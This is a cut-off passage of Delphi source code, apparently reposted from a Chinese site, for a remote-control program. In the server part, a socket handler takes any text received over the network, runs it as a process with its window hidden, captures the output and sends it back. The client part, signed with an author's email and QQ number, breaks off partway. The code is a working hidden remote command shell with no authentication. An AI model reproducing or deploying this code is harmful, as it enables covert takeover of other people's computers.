ientRead(Sender: TObject; Socket: TCustomWinSocket);
var
RemoteCmd:string;
hReadPipe,hWritePipe:THandle;
si:STARTUPINFO;
lsa:SECURITY_ATTRIBUTES;
pi:PROCESS_INFORMATION;
cchReadBuffer:Dword;
ph:PChar;
fname:PChar;
res:string;
begin
Memo1.Clear;
remotecmd:=Socket.ReceiveText;
fname:=allocmem(255);
ph:=AllocMem(5000);
lsa.nLength :=sizeof(SECURITY_ATTRIBUTES);
lsa.lpSecurityDescriptor :=nil;
lsa.bInheritHandle :=True;
if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then
begin
socket.SendText('不能创建管道');
exit;
end;
fillchar(si,sizeof(STARTUPINFO),0);
si.cb:=sizeof(STARTUPINFO);
si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);
si.wShowWindow:=SW_HIDE;
si.hStdOutput:=hWritePipe;
StrPCopy(fname,remotecmd);
/////执行CMD命令////
if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then
begin
socket.SendText('不能创建进程');
FreeMem(ph);
FreeMem(fname);
Exit;
end;
while(true) do
begin
if not PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil) then break;
if cchReadBuffer<>0 then
begin
if ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false then break;
ph[cchReadbuffer]:=chr(0);
Memo1.Lines.Add(ph);
end
else
if(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break;
Sleep(100);
end;
ph[cchReadBuffer]:=chr(0);
Memo1.Lines.Add(ph); //memo接收回显
CloseHandle(hReadPipe);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hWritePipe);
FreeMem(ph);
FreeMem(fname);
socket.SendText(Memo1.Text); ///将回显发送回客户端
end;
end.
///////////////////////////////////////////////////////////////////////////////////////////
//////客户端/////////////////////
unit UtMain;
////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
////////////////////////////////
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent,
IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp;
type
TFmMain = class(TForm)
WebBrowser1: TWebBrowser;
Label3: TLabel;
Edit2: TEdit;
Label4: TLabel;
Edit3: TEdit;
Button2: TButton;
CS: TClientSocket;
Edit4: TEdit;
Label5: TLabel;
Memo1: TMemo;
BitBtn2: TBit
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本文来源:网络 作者:佚名